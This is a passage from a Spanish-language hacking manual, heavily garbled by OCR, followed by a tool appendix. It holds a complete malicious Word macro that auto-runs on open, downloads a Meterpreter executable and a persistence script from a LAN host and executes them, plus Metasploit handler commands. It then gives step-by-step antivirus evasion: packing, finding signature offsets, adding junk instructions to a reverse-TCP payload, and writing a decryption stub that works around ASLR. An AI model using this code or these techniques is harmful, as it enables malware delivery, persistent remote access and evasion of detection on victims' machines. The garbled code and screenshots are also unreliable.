WHTTP.Send

FileData = WHTTP.ResponseBody
Set WHTTP = Nothing

FileNum = FreeFile

Open "c:\met 7.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData

Close #FileNum

RunFile ("C:\met 7.exe")
Download 7 persist

End Sub
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La funcion RunFile, ejecuta desde el terminal (cmd) el binario que le indica
por parametro:

Function RunFile(strFile As String)
Shell "emd /C """ & strFile & """"
Error Handler Exit:

On Error Resume Next
Exit Function
Error Handler:
Resume Error Handler Exit
End Function

La funcién Download 7 persiste utiliza también winhttp para descargar un
script y ejecutarlo. Cuando lo ejecuta, comprueba si en los procesos del sistema se
encuentra nuestro binario met 7.exe, si no se encuentra ejecuta (c.\met_7.exe).

Private Sub Download 7 persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/7/persist.vbs"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum

End Sub
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A continuacion se muestra el codigo met 7.vbs:

Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject ("Winmgmts:") .ExecQuery ("Select
* from Win32 Process")

For Each objProcess in colProcessList
if objProcess.name = "met 7.exe" then
vFound = True
End if
Next

If vFound = True then
wscript.sleep 5000

Else
WshShell.Run ("C:\met 7.exe")
wscript.sleep 5000

End If

vFound = False

Para que todo esto funcione, debe levantar el multi/handler de la siguiente
manera:

./msfconsole

use exploit/multi/handler

set lport 443 # levantamos el multi handler en el puerto 443
# que es el que utilizan nuestros binarios

set AutoRunScript scheduleme -m 1 -c C:\\\\persist.vbs

# en cuanto obtengamos sesidn, se creara la tarea programada a
# ejecutarse cada minuto, lo que ejecuta es nuestro script
persist.vbs

set ExitOnSession false

exploit -j -z

Con todo esto se obtiene la sesion del usuario que ha aceptado las macros y
tiene persistencia en el sistema.

A continuacion vemos como queda el codigo de la macro completo.

Sub AutoOpen ()
OSVersion
End Sub

Public Function OSVersion()
Set SystemSet =
GetObject ("winmgmts: ") . InstancesOf ("Win32 OperatingSystem")

For Each Sys In SystemSet
Version = Sys.Caption
Next

If InStr(Version, "XP") = 0 Then
Download 7 'mo es winxp'
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Else
Download xp 'es WinXP'
End If
End Function

Private Sub Download xp ()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object

On Error Resume Next
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5.1")
End If

MyFile = "http://192.168.1.1/met xp.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing

FileNum = FreeFile
Open "c:\met xp.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
RunFile ("C:\met xp.exe")
Download xp persist
End Sub

Private Sub Download xp persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object

On Error Resume Next
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5.1")
End If

'MyFile = "http://192.168.1.1/xp/persist.vbs""'
WHTTP.Open "GET", MyFile, False
WHTTP.Send

FileData = WHTTP.ResponseBody
Set WHTTP = Nothing

FileNum = FreeFile

Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData

Close #FileNum

End Sub
Private Sub Download 7 ()

Dim FileNum As Long
Dim FileData() As Byte
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Dim MyFile As String
Dim MyFile2 As String
Dim WHTTP As Object

On Error Resume Next
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5.1")
End If

MyFile = "http://192.168.1.100/met 7.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing

FileNum = FreeFile

Open "c:\met 7.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData

Close #FileNum

RunFile ("C:\met 7.exe")
Download 7 persist

End Sub

Private Sub Download 7 persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object

On Error Resume Next
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject ("WinHTTP.WinHTTPrequest.5.1")
End If

MyFile = "http://192.168.1.100/7/persist.vbs"

WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
End Sub

Function RunFile(strFile As String)
Shell "emd /C """ & strFile & """"
Error Handler Exit:
On Error Resume Next
Exit Function

Error Handler:
Resume Error Handler Exit
End Function
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6.10 OCULTACION PARA EL ANTIVIRUS

Existen muchas formas que permiten ocultar software malicioso a los
antivirus. Los antivirus cuando reconocen un determinado software malicioso lo
hacen utilizando algoritmos de busqueda de patrones (match pattern). Dichos
patrones se forman a partir de los valores que hay en conjunto de posiciones del
ejecutable. Para que un software malicioso no sea detectable por los antivirus,
entonces hay que ocultar dicho patron.

Para poder ocultar el patron hay dos técnicas: cifrado de datos y
modificacion de los valores de la firma. El cifrado de datos consiste en cifrar todo
el fichero de forma que el ejecutable no sea visible por los antivirus. La otra forma
de ocultar el ejecutable, es cambiar es localizar el patron del antivirus y cambiar
alguna posicion del ejecutable (que no sea importante) para que asi cambie la
firma.

A continuacion se van a ver las dos formas.

6.10.1 Cifrado del ejecutable

Para programar un programa es necesario el codigo fuente que es donde el
programador va indicando los pasos que debe realizar el programa. Tal y como
puede ver en la figura 6.39, el codigo fuente se compila dando lugar al ejecutable.

C++ ; ‘ et
' ® )
_’ ol
011000101
Codigo Fuente Cadigo Objeto Ejecutable

(Codigo Maquina)

Figura 6.39. Esquema para crear un ejecutable

Existen sistemas de proteccion de software que permiten proteger en
software para impedir desemsamblar un programa. Dichos sistemas lo que haces es
coger el codigo fuente y cifrarlo para asi poder generar un fichero ejecutable con
un precargador que permite decodificar y ejecutar el programa original (véase la
figura 6.40).
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Ejecutable Protector Ejecutable
protegido

Figura 6.40. Esquema general para ocultar sofiware malicioso

Cuando un antivirus analiza un programa, lo que hace es buscar en el
programa la firma de algun virus y, logicamente, si la firma del virus esta cifrada
entonces el antivirus no podra detectar el virus.

Themida (véase la figura 6.41) permite cifrar los programas para que no
puedan desamblarse o, lo que es lo mismo, permite cifrar los troyanos y virus para
que se vuelvan indetectables por cualquier antivirus.

&) Themida v1.8.5.5 | Project: *UNSAVED*

g qumIDA ‘ Advanced Windows Software Protection System

New | ] open.. el sove feplsovens... | Protect Ol;blp 1) sbout...

Application Information

Application Information @ Application Information

[ Protection Options

Code Replace Sepkctad \ |[] Get from version info
Virtual Machine Version [Getfromversininfs

Sustcnksed Discas Input Fiename | C:\Documents and Setti ario|Escritorioltroyanc © | [ 29 Refresh |
Advanced Options Ouput Filename |nd Settings|usuariolEscritoriolsalida.exe &[] same as input

[re— sz =D |
@ ren »
File Information File Type: Windows Standard Executable (32-bit)

© Theida GUI Overviow Virtual Machine Macro Functions: 0

@ Application Information CodeReplace Macro Functions: 0
CodeEncrypt Macro Functions: 0
ClearCode Macro Functions: 0

Last Modified: 25/09/2007 0:19:42

Figura 6.41. Themida
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6.10.2 Modificar la firma

En primer lugar decir que con esto no se pueden hacer todos los troyanos
indetectables y que funcionen, ya que depende del antivirus que quiera “burlar”.

En primer lugar, hay que instalar un editor hexadecimal (por ejemplo,
Winhex). Después de haberlo instalado, abra el fichero que quiera ocultar (por
ejemplo, netcat) y baje hasta el final del fichero para obtener su longitud.

RABL MKAUXEMA L4

Gifset | 0 1 23 4S5 67 99 ABCDETF e

8
¥

° o Donricadoc 1t
Teodanchhe  G00KE
61400btes
Modopr Dfocte
e angns
ove o desacer o
Pvntie e
ot o

151610

Omaocten 212200
120718

. A
ores o

Hode: [
oo docanc sz
Bmcerphora,  SWI6st

o et 1

| So000180 30 35 35 00 8¢ 0 00 00 b0 bo b0 bo b0 o0 an o 2 3 N v
%

00 00 00 00 00 DO 00 00 00 00 0 00 00 00 00 00
| 00000340 00 00 00 00 00 00 00 00 G0 00 00 B0 00 00 00 00
00600350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Pigra 14672 e o .7 Boe e Tamse e

Figura 6.42. Winhex - netcat

El siguiente paso es dividir ese numero por 2 (00059376) para dividir el
contenido del archivo en dos partes iguales. Una parte la deja igual y la otra la
rellena de 0 (o sea nada):

e Con el boton derecho del raton pulse y seleccione Edit.

e Seleccione Fill Block.

e Después pulse OK para rellenar con 00 la mitad del archivo.
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00029392 FF 85 CO 74 58 83 C8 FF SF SE 5D 5B 59 C3 85 ED VlAtXVIESLA][YKIVi
00029408 74 08 33 CO SF SE SD 5B 59 C3 64 04 E8 4F C1 FF t 3A4_"]1[YAj eOAy
00029424 FF 83 C4 04 A3 F8 FC 40 00 85 CO OF 84 1D 01 00 ¥1A 2ou@ 1A 1

00029440 00 C7 00 00 00 00 00 A1 00 FD 40 00 85 CO 75 1D ¢ i ¥@ 1hu
00029456 6A 04 E8 29 C1 FF FF 83 C4 04 A3 00 FD 40 00 85 j &)AyyIA £ y@ 1
00029472 CO OF 84 F7 00 00 00 C7 00 00 00 00 00 A1 F8 FC A 1+ c @il
00029488 40 00 8B D8 8B C6 2B C7? S0 57 89 44 24 18 E8 2D @ 1Q1E+CPVIDS &-
00029504 01 00 00 8B FO 83 C4 08 85 F6 OF @C DF 00 00 00 1814 15 18

00029520 83 3B 00 OF 84 D6 00 00 00 85 ED OF 84 C6 00 00 1; 10 11 1E
00029536 00 8B OC B3 8D 3C B3 51 E8 83 CO FF FF 8B 07 83 1 2 1<C02IAH 1
00029552 ' C4 04 85 CO 74 13 8B C7 8B 50 04 83 CO 04 89 17 X §1it IGIP 14 1
00029568 46 8B 08 8B F8 85 C9 75 EF 8D 04 BS 00 00 00 00 F1 lelEuil p
00029584 50 53 E8 09 12 00 00 83 C4 08 85 CO 74 05 A3 F8 PSe 14 1At f@
00029600 00 00 00 00 00 00 00 00O 00 00 00 00 00 00 00 0O

00029616 00 00 00 00 0O 00 00 00 00 OO 00 00 00 00 00 0O

00029632 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00

00029648 00 00 00 00 00 0O 00 00 0O 00 00 0O 0O 00 00 0O

00029664 00 00 00 00 00 OO 00 00 0O 0O 00 0O 00 00 00 0O

00029680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

00029696 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 0O

00029712 00 00 00 00 00 OO 00 00 0O 00 00 00 00 00 00 00

00029728 00 00 00 00 00 OO0 00 OO OO 00 00 0O 0O OO 00 0O

00029744 00 00 00 00 00 00 00 00O OO 0O 00 00 00 00 00 0O

00029760 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 0O

00029776 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

00029792 00 00 00 00 00 00 0O 00 0O 00 00 0O 00 00 00 00

00029808 00 00 00 00 00 00 0O 0O OO0 0O OO0 0O 0O OO 00 0O

00029824 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

00029840 00 00 00 00 00 00 00 00O 00 00 00 00 00 00 00 0O

00029856 00 00 00 00 00 00 0O OO 0O 0O OO 00 0O 0O 00 0O

00029872 00 00 00 00 00 00 00 OO 00 00 00 00 0O 00 0O 0O

Figura 6.43. Winhex - netcat modificado

Tras este ultimo paso, tiene el archivo de netcat, con la mitad en blanco.
Utilice el antivirus para escanear el archivo y comprobar si aun detecta que es un
virus. Si detecta que es un virus, sabra que el Offset que utiliza el antivirus, esta en
la mitad que no ha rellenado de 00. Si no lo detecta quiere decir que el Offset se
encuentra en la parte que rellene de 00. Tras realizar este método sucesivamente,
puede acotar el Offset exacto que el antivirus utiliza para detectarlo.

Solo resta ir al archivo original y eliminar esos Offset para que el
ejecutable no pueda ser utilizado.

6.10.3 Cifrado avanzado del ejecutable

Es habitual pensar que con un antivirus ya estamos totalmente libres de
cualquier software malicioso (virus, troyanos, etc). Los antivirus reconocen los
ataques conocidos a través sus firmas pero no reconocen los nuevos ataques o
modificaciones de estos.

A continuacion se va a utilizar un payload de Metasploit (meterpreter) que
es bastante conocido por los antivirus y se va a hacer totalmente indetectable por
cualquier antivirus. El proceso se va a realizar en dos pasos: primero se aflade
“basura” al codigo y después se cifra el ejecutable.
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Aiiadiendo “basura”

Para afadir “basura” al codigo hay que seguir los siguientes pasos:

Lo primero que hay que hacer es generar el meterpreter en formato raw:

./msfpayload windows/meterpreter/reverse tcp
LHOST=192.168.1.100 LPORT=443 R > meterpreter raw

Desensamble el meterpreter con disassemble.rb de Metasploit:

root@bt:/pentest/exploits/framework# pwd
/pentest/exploits/framework

ruby -I lib/metasm/ lib/metasm/samples/disassemble.rb
meterpreter raw > meterpreter.asm

En meterpreter.asm se encuentra el codigo en ensamblador del primer
stage del meterpreter. Como se puede ver no es muy extenso, ya que el
primer stage es pequefio.

Ahora se va modificar el codigo para intentar que los antivirus no lo
detecten. Para modificar el codigo, debe “jugar” con registros pero con
cuidado de no romper el flujo de ejecucion. Lo ideal es buscar en el
codigo lineas como xor eax, eax (poner a cero el registro £4X) y antes
de esta instruccion debe puede modificar el valor eax para no romper el
flujo de ejecucion.

Por ejemplo:

// Xrefs: 8dh

loc 15h:

mov esi, [edx+28h] ; @l5h 8b7228 r4:unknown

movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @lch 31ff <-- aqui tenemos un xor

Antes del comando xor edi, edi de introduce “basura” jugando con el
registro ecx sin romper el flujo de ejucicion. Un posible resultado seria:

// Xrefs: 8dh

lioc A5hs

mov esi, [edx+28h] ; @l5h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
// basura introducida

push edi

pop edi

push edi

push edi

push edi

pop edi

pop edi
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pop edi

mov edi, ecx

push edi

pop edi

mov edi, ecx

XOr ecx, ecx

mov ecx, edi

// fin de la basura introducida

xor edi, edi ; @lch 31ff <- el xor de antes

Puede probar a cambiar mas secciones del codigo, cuantos mas cambios
realice mas dificil sera para el antivirus detectarlo.

e Al principio del fichero .asm hay que afadir la seccion .fext y el
entrypoint.

.section '.text' rwx
.entrypoint

e Utilice la utilidad peencode.rb de Metasploit para generar el fichero
ejecutable.

ruby -I lib/metasm/ lib/metasm/samples/peencode.rb
meterpreter.asm -o met.exe

e Como puede comprobar algunos antivirus ya no lo detectan. En este
caso, Avast todavia lo detecta.

:ﬂ avast! Escudo del Sistema de Archivos ha bloqueado
J‘ una amenaza.

No se requieren mas acciones.

Objeto: D:\met.exe
Infeccion: Win32:Evo-gen [Susp]
Accién: Movido al baul

Proceso: C:\Windows\explorer.exe

La amenaza fue detectada y bloqueada cuando el
archivo fue creado o modificado.

Afadir el archivo a la lista de exclusiones

Informar de falso positivo

Figura 6.44. Avast bloqueando troyano
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Cifrando el ejecutable (sin ASLR)

Para hacerlo aun maés indetectable se va a manipular el ejecutable con

OllyDbg.

Abra el fichero ejecutable con OllyDbg.

Figura 6.45. OllyDbg

Busque en el binario una zona en la que pueda afiadir codigo, localicela

un poco mas abajo y apunte la direccion de memoria.

OllyDbe - met.exe - [CPU - main thread, module met]
bug Plugins Options Window Help.

FUSH EDT

gevscese | PUSH Srtensee £5° Satere
2 80" €E1 OuoRD PR 0s:Ce8T1 Eh el G
= R : EIP 00401008 net. <Hoc
Sa100000 o s oeea
FUSH £8T 61 6008 Bl o
% PUSH o S oz Boir o
Senasses | PUSH Essandse 29 526988 Bouk ot
02 Gl £8p $ 0 P2 om sbir v
S £ eex 18 06
B 08
0 PR 88 Lasterr ERRORSL
Rt 81 EFL 00009246 (HD,18,E
oznscese || PUSH EPtensez S19 oty SN oecr
o2 Earl' Eee ST2 Enbty snORN boca
0163 BB £ 575 ehors HlioRn
S8 SE ESTE 14 Enbty 0.0000led:
oo TS et e 1S oy B8
£ SHORT net. 0041122 T2 mecy B8
ety o

321
FST 0000 Cond 208
G G27F Preo NERR,©

Figura 6.46. OllyDbg
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e Sustituya la primera instruccion por un jmp a la direccion de memoria
anotada.

.9?%

g

:

651 CEDke28)

(Assemble at 00401000 x|

[omp oo401137 |

5 Filwih NOP’s e

fufeotesiedd
LRt
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S
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<5EEER
S

R DSt (ESI)
+.00401039

£
i

oy

83573
H

§
S

SHORT et 00401030

28
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10UCRO PTR 03: ECie5C
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Figura 6.47. OllyDbg

e Hay que tener en cuenta que el jmp ocupa mas opcodes que la primera
instruccion que tiene met.exe (instruccion CLD), por lo que la siguiente
instruccion (CALL 004010A44) desaparece también asi que tenemos que
anotarnos el CLD y el CALL para luego ejecutarlo y continuar con el
correcto flujo de ejecucion y se nos guarde el CLD y el CALL en un
fichero de texto.

e Ahora, donde ha saltado con el jmp del entrypoint, referencia a la rutina
de cifrado que cifra el codigo desde después de la direccion (00401006)
del jump que salta a la rutina de cifrado hasta justo antes de empezar la
rutina de cifrado (00401136). Efectivamente, se esta "hardcodeando" las
direcciones de memoria por lo que con un sistema con ASLR como
Win7 no funciona, pero se va a solucionar mas adelante.

e El cifrado consiste en realizar una sencilla resta de 69 en hexadecimal a
cada opcode, y luego para descifrarlo haremos la suma de 69.
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Rutina de cifrado:

100401137 MOV EAX,met.00401006 <-- Meto en EAX la
direccion de inicio donde empiezo a cifrar

20040113C SUB BYTE PTR DS: [EAX],69 <-- Resto 69 Hx al
contenido de la direccion que apunta EAX.

30040113F INC EAX <-- incremento EAX

400401140 CMP EAX,met.00401136 <-- Comparo EAX con la
direccion hasta donde quiero cifrar

500401145 JLE SHORT met.0040113C <-- Hasta que no
termine sigo con el bucle de cifrado

600401147 CLD <-- Este es el CLD del entrypoint que nos
hemos anotado

700401148 CALL met.004010A4 <-- Este es el Call que nos

hemos anotado

80040114D JMP met.00401006 <-- Este jump nos vuelve arriba
justo despues de nuestro jmp del entrypoint y el binario
continua con su correcto flujo de ejecucion

PUSH SFCBD902 ~
CALL EBF

TEST ESI,
8 ] N SHORT net_up_1.00401122
89401137 > BS 86104008 | MOU EAX,met_xp_1.00401086
8042113C 8028 69 SUB BYTE PTR D +89
9040113F| . 40 INC ERX
99481148 . 30 36114000 | CHP ERX,met_sp_1.08491136
gg:gﬂ:; A~T7E FS JLE SHORT met_np_1.0040113C

. EC CLl
89401148 . ES8 SPFFFFFF | CALL met_sp_1.0804010R4
90401140 .~E9 B4FEFFFF | JMP met_xp_1.00401006

=het_np_1. 0040100t

Figura 6.48. OllyDbg (rutina de cifrado)

e Ahora, abre el fichero met xp 1.exe con olly y compruebe como en el
entrypoint tiene el JMP. Ejecute el fichero paso a paso. Con F7 va
avanzando y compruebe como el JMP se ejecuta y salta a la rutina de
cifrado.

e Segln se ejecuta la inestruccion SUB [EAX],69 del bucle puede ver
como se van modificando las zonas de memoria, para hacerlo mas rapido
y establezca un breakpoint (F2) en la instruccion justo después del JLE y
pulse F9 para que el bucle se ejecute entero. Si examina con olly, puede
ver como todo el codigo ha sido modificado e incluso el olly no es capaz
de interpretarlo. En la figura 5.54 puede ver el jmp en el entrypoint y
seguido el codigo ya cifrado en memoria:
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Svgg 32010608 ;.:HFP met_xp_1.88401137

{3
1.08406FD2

28481088 ?-7C C8 JL SHORT met_u|
9@48100A ? 69FB 22E9C722) IMUL EDI,EBX,22C7E922
8a4@1@18 7-E9 A322E9AE | JMP AC
@a4aials) > 2209 AND CL,BYTE PTR DS:[ECX]
82481017 ? BF A64EEIBD | MOV EDI,BDE14ERE
@a4@1a1C . EE OUT DX, AL 1/0 command
89401010 . FEEE I
Be40101| . EE OUT DX, AL 170 command
82401820 . EE OUT DX,AL 1/0 command
8a401021| . DIV DH
33481 . F628 MUL BYTE PTR DS:[EAX]
80481825 ? 66:EE QuT DX, AL 1/0 command
80481827 . FE20 MUL_BYTE PTR DS:[EAX]
8B4910929 7 66:C8 682838 |ENTER , 98
88401 C8 960857 ENTER @C896,57
08481032 . INC
894210833 . D3FS SAR EAX,CL.
804010835 . 1399 C3B75866 ADC EBX,DWORD PTR DS: [ECK+6658B7C3]
8041638 7 A4 MOUS BYTE PTR ES:CEDII,EYTE PTR D3:(ESI
431 . 98 CWDE
80421830 ? SE POP ESI
8@40193E .-79 87 JNS SHORT met_xp_1.08400FC7
804010940 .-E9 EE22E9A7 | JMP ABS293333 v
PA4G6104E 9 AND BLLCL

Jump from 88491140

Figura 6.49. OllyDbg

Ahora que tiene el codigo cifrado en memoria modique la rutina de
cifrado para convertirla en rutina de descifrado para que, finalmente, se
guarde en otro fichero. En este fichero final tiene el jump del entrypoint
que salta a la rutina de descifrado, el codigo cifrado y la rutina de
descifado, que descifra todo el codigo y continua con el flujo de
ejecucion normal, ejecutandose el primer stage del meterpreter
correctamente.

Para convertir la rutina de cifrado en rutina de descifrado simplemente
cambie el SUB por ADD y guarde todo de nuevo en el fichero
met xp 2.exe.

Abra el nuevo fichero y compruebe que se va descifrando, establezca el
breakpoint después del JLE, analice el codigo con olly (botoén secundario
analysis->analyse code). Posteriormente, verifique que todo es correcto,
que ya sigue su ejecucion con el CLD y el CALL y el ultimo jump que
vuelve justo después del entrypoint y el primer stage del meterpreter
continua ejecutandose correctamente.

Finalamente, compruebe que los antivirus no detectan el fichero final

(véase la figura 6.50).
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,@tuvusl! ANALISIS _ X

C:\Users\Miguel\Desktop\met_XP_2.exe"

mpleto, NO SE HA DETECTADO AMENAZA

Figura 6.50. Avast - Analizado el ejecutable sin detectar troyano

Cifrando el ejecutable (conASLR)

.Y qué ocurre si lo ejecuta en un sistema Windows 7 con ASLR No
funciona al estar las direcciones de memoria hardcodeadas en la rutina de
descifrado.

Los sistemas operativos mas modernos como Windows 7 utilizan la
tecnologia ASLR que es una proteccion del sistema operativo que genera de forma
aleatoria dos bytes de la direccion de memoria. Debido a esto, el binario que
modifica anteriormente no funciona.

La rutina de descifrado utiliza direcciones de memoria hardcodeadas por
lo que si prueba a reiniciar, la ejecucion del binario falla por violacion de acceso al
utilizar esas direcciones de memoria.

Se debe tener en cuenta que ASLR afecta a los dos primeros bytes de la
direccion de memoria, es decir, segun las direcciones de memoria del anterior
binario, seria XXXX/137 por ejemplo, siendo XXXX los bytes que cambian en cada
reinicio del sistema. La rutina de descrifado queda de la siguiente forma:

00401137 B8 06104000 MOV EAX,met.00401006 <- Aqui es
donde tenemos el problema

0040113C ADD BYTE PTR DS: [EAX], 69
0040113F 40 INC EAX

00401140 3D 36114000 CMP EAX,met.00401136 <- Aqui es
donde tenemos el mismo problema

00401145 *7E F5 JLE SHORT met.0040113C

00401147 FC CLD

00401148 E8 57FFFFFF CALL met.004010A4

0040114D -E9 AAFEFFFF JMP met.00401006
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Si se fija en los opcodes (2° columna) se ve claramente donde se indican
las zonas de memoria de forma absoluta (por ejemplo, en la primera instruccion B8
06104000).

Para solucionarlo, hay que encontrar la forma poder hacer la misma rutina
dindmicamente. Si abre con olydbg en Windows 7 el ejecutable con el codigo
cifrado y la rutina de descifrado (met xp 2.exe) queda de la siguiente forma:
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Figura 6.51. OllyDbg

Lo primero que hace es entrar en ntdll y luego a
kernel32.BaseThreadlnitThunk.

4
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REF Al meal i Fresoees

F¥DB Rk
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E8 ReTrr |G neal L rres0re

Figura 6.52. OllyDbg

Dentro de kernel32.BaseThreadlnitThunk en el registro EDX se guarda el
entrypoint del binario y con el CALL EDX entra en el entrypoint.

File View Debug Dpteeemiuitos

[Blegx] »ul

Figura 6.53. OllyDbg




242 HACKERS. APRENDE A ATACAR Y A DEFENDERTE. MANUAL BASICO. 2* ED. © RA-MA

Una vez en el entrypoint del binario, puede ver que sigue teniendo en EDX
la direccion del entrypoint y esto permite poder utilizarlo para solucionar el
problema de ASLR.
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Figura 6.54. OllyDbg - Registro EDK

En este caso modifique la rutina de descifrado de la siguiente manera:

009A1141 > 8BC2 MOV EAX,EDX <- Metemos en EAX , EDX
que es el entrypoint
009A1143 . 83C0 06 ADD EAX,6 <- Sumamos 6 a EAX por lo

tanto EAX = entrypoint + 6 que es donde queremos empezar a
descifrar (en la otra rutina 00401006)

009A1146 ADD BYTE PTR DS: [EAX],69 <- Sumamos 69
al contenido de EAX
00921149 . 40 INC EAX <- Incrementamos EAX

009A114A . 66:3D 4011 CMP AX,1136 <- Comparamos los 2
ultimos bytes del registro EAX (AX) con 1136 que es donde
finaliza nuestro codigo cifrado. (XXXX1136)

009A114E < 90 NOP <- NOP que no hace nada
009A114F -27E F5 JLE SHORT sysupdat.009A1146 <- JLE
para el bucle

009A116B S EC CLD

009A116C E8 57FFFFFF CALL met 7.003D10A4
00921171 E9 B4FEFFFF JMP met 7.003D1006

De esta forma, evita el problema del ASLR, al no necesita utilizar
direcciones de memoria absolutas, con haber conseguido que en EDX apunte al
entrypoint. En la figura 6.55 se muestra el resultado de la rutina en Olly.

net_xp_2. <Hodu LeEntryPoint>

3 06 ERce
00 63 B0 BVTE PTR 081 (€K1, 69

e en
. 86130 3011 |CI A, 1150
o : i
s JLE SHORT net_xn.2.0120112¢
8 carerrer L net_n,2. 91201001
o 265 CAFEFFFE | WP et fp, 231201606
Perzormez: T

Figura 6.55. OllyDbg - Resultado
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Guarde el resultado en un nuevo fichero y ya tiene el binario de
meterpreter para sistemas con ASLR.

Y, por supuesto, ningtin antivirus lo detecta (al menos todos los que se han
probado a la hora de escribir el libro) y el binario se ejecuta correctamente para
obtener el meterpreter reverso.






Apéndice 1

HERRAMIENTAS REFERENCIADAS

A continuacion se muestran las herramientas referencias a lo largo del

libro.
Tabla I.1. Herramientas referenciadas
Nombre Descripcion URL
absinthe Programa que www.0x90.org/releases/absinthe/download.php
permite realizar
ataques Blind SOL.
Achilles Proxy-sniffer http. http://achilles.mavensecurity.com
Acunetix Analizador de www.acunetix.com
vulnerabilidades
web.
aircrack-ng Conjunto de www.aircrack-ng.org

herramientas que
permiten auditar y
atacar redes
inaldmbricas.

airoscript Script que facilita el http://airoscript.aircrack-ng.org
proceso para
romper redes
inaldmbricas.

amap Permite identificar  http.//freeworld.thc.org/thc-amap
la version de un
servicio.
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antisniff’

Permite dectar
sniffer dentro de la
red.

http://packetstormsecurity.org/sniffers/antisniff

Arpscan

Permite determinar
los equipos activos
de una red.

http://www.nta-monitor.com/tools-
resources/security-tools/arp-scan

Arpoison

Programa que
permite realizar
envenenamiento
ARP.

http://www.arpoison.net

BackTrack 5

Distribucion
LiveCD que incluye
una gran variedad
de herramientas de
seguridad
informatica.

www.remote-exploit.org/index.php/BackTrack.

Cain & Abel

Completa suite
informatica en
Windows que
permite romper la
seguridad de los
sistemas.

www.oxid.it/cain.html

Cia
commander

Permite obtener y
modificar el fichero
de contraseiias de
los sistemas
Windows.

Damn
Vulnerable
Linux

Distribucion de
Linux vulnerable
especialmente
disefiada para poner
en practica ataques
de seguridad.

www.damnvulnerablelinux.org

Damn
Vulnerable
Linux Web
App

Aplicacion Web
altamente
vulnerable

http://www.dvwa.co.uk/

DEVICEE

Compilador.

www.bloodshed.net/devcpp.html

Ethercap

Sniffer para
sistemas
GNU/Linux.

http://ettercap.sourceforge.net
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Foc4 Permite realizar http://www.informatica64.com/FOCA/
busquedas de
documentos de un
sitioi web para
analizar sus

metadatos.
GFI Languard  Escaneador de http://www.gfi.com/lannetscan
vulnerabilidades.
http analizer Sniffer HTTP'y www.ieinspector.com
constructor de
paquetes.
John the Crackeador de www.openwall.com/john
ripper contrasefias de
sistemas
GNU/Linux.
KALI Distribucion http://www.kali.org/

LiveCD que incluye
una gran variedad
de herramientas de
seguridad
informatica y que
nace como el
sucesor de
Backtrack.

MBSA Escaneador de www.microsoft.com
vulnerabilidades de
sistemas Windows.

Metasploit Suite que permite www.metasploit.com
probar numerosos
sploit.
Metasploitabl ~ Distribucion http://www.metasploit.com
e altamente
vulnerable
Netcat Suite de http://netcat.sourceforge.net
herramientas de
redes.
Nikto.pl Analizador web- www.cirt.net
CGL
nmap Escaneador de WWW.nmap.org

puertos.
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Nessus Potente analizador http://www.nessus.org/nessus
de vulnerabilidades
de un equipo.
Olly debugger  Decompilar, editor ~ www.ollydbg.de
HEX, etc.
Oreka Sniffer de trafico http://oreka.sourceforge.net
VolIP.
Ophcrack LiveCD que permite  http://ophcrack.sourceforge.net
extraer
automaticamente las
contrasefias de un
sistema Windows.
OpenVAS Herramienta que http://www.openvas.org
permite analizar las
vulnerabildades de
un equipo.
Perfect Keylogger muy www.blazingtools.com
Keylogger potente y totalmente
configurable.
Ophcrack LiveCD que permite  http://ophcrack.sourceforge.net
obtener las
contrasefias de un
sistema Windows.
Poison Ivy Troyano. WWW.poisonivy-rat.com
Promiscan Detecta si hay www.securityfriday.com
sniffers en la red.
pwdump Exploit que permite
obtener el fichero
de contrasenas del
sistema.
Retina Escaneador de www.eeye.com
vulnerabilidades.
Shadow Escaneador de www.safety-lab.com
Security vulnerabilidades.
Scanner
SARA Analizador de http://www-arc.com/sara/
vulnerabilidades.
Sentinel Antisniffer. http://packetstormsecurity.org
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SOLMap Permite automatizar  http.//sqlmap.org/
ataques de SQL
inyection
Torpark Proxy anénimo. http://tor.eff-org/
